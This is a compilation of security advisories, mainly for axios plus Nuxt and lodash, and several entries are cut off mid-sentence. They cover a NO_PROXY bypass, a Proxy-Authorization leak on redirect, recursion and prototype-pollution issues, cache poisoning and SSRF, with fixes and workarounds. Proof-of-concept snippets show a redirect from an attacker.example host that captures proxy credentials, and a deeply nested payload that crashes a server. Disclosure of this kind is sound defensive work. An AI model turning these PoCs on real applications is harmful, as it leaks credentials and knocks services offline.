const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/\.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
``
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
Axios running in Node.js with the HTTP adapter.
An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
Redirect following enabled.
A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
``js
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
`
Expected vulnerable behaviour:
`text
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
`
Expected fixed behaviour:
`text
Final HTTPS origin receives no Proxy-Authorization header.
`
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details>
<summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js:
When a proxy is used, Axios adds Proxy-Authorization in setProxy().
Axios also re-runs proxy resolution after redirects via its redirect hook.
However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client Conditions
the initial HTTP request uses an authenticated HTTP_PROXY
no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
redirects are followed
the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
axios 1.13.6
follow-redirects 1.15.11
an authenticated proxy applying to the initial HTTP request
no proxy applying to the redirected HTTPS URL
redirects enabled
an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
The redirected HTTPS request is sent directly to the final origin.
The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization` header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.
</details>
---
Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
HTTP_PROXY, HTTPS_PROXY, and NO_PROXY.
Authenticated proxy URLs such as http://user:pass@proxy.example:8080.
Automatic redirect following through follow-redirects.
Axios proxy handling in setProxy().
Redirect proxy handling through beforeRedirects.proxy.
Technical Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of Concept of Attack
``js
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
`
Attacker-controlled HTTP endpoint:
`http
HTTP/1.1 302 Found
Location: https://attacker.example/final
`
Expected result on affected versions:
`text
https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz
`
Expected result on fixed versions:
`text
https://attacker.example/final receives no Proxy-Authorization header
`
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
<details>
<summary>Original Source</summary>
Summary
Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.
Details
In the current implementation:
setProxy() adds Proxy-Authorization when a proxy with credentials is in use.
On redirects, Axios re-invokes setProxy() for the redirected request.
If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header.
The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
lib/adapters/http.js
setProxy() adds Proxy-Authorization
redirect handling re-applies proxy logic through beforeRedirects.proxy
no cleanup is performed when the recomputed redirect request no longer uses a proxy
PoC
1. The victim sends GET http://<attacker-site>/start
2. The request goes through a local authenticated corp proxy
3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final
4. The redirected HTTPS request no longer uses a proxy
5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header
Observed output:
`text
[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
``
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact
Exposes authenticated proxy credentials to an attacker-controlled origin.
</details>
---
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a traili
Axios: unbounded recursion in toFormData causes DoS via deeply nested request data
Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details
lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC
``js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
`
Server-side reachability example:
`js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
`
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Axios: Header Injection via Prototype Pollution
Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned heade
Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }
Nuxt allows DOS via cache poisoning with payload rendering response
Summary
By sending a crafted HTTP request to a server behind an CDN, it is possible in some circumstances to poison the CDN cache and highly impacts the availability of a site.
It is possible to craft a request, such as https://mysite.com/?/_payload.json which will be rendered as JSON. If the CDN in front of a Nuxt site ignores the query string when determining whether to cache a route, then this JSON response could be served to future visitors to the site.
Impact
An attacker can p
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
##
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.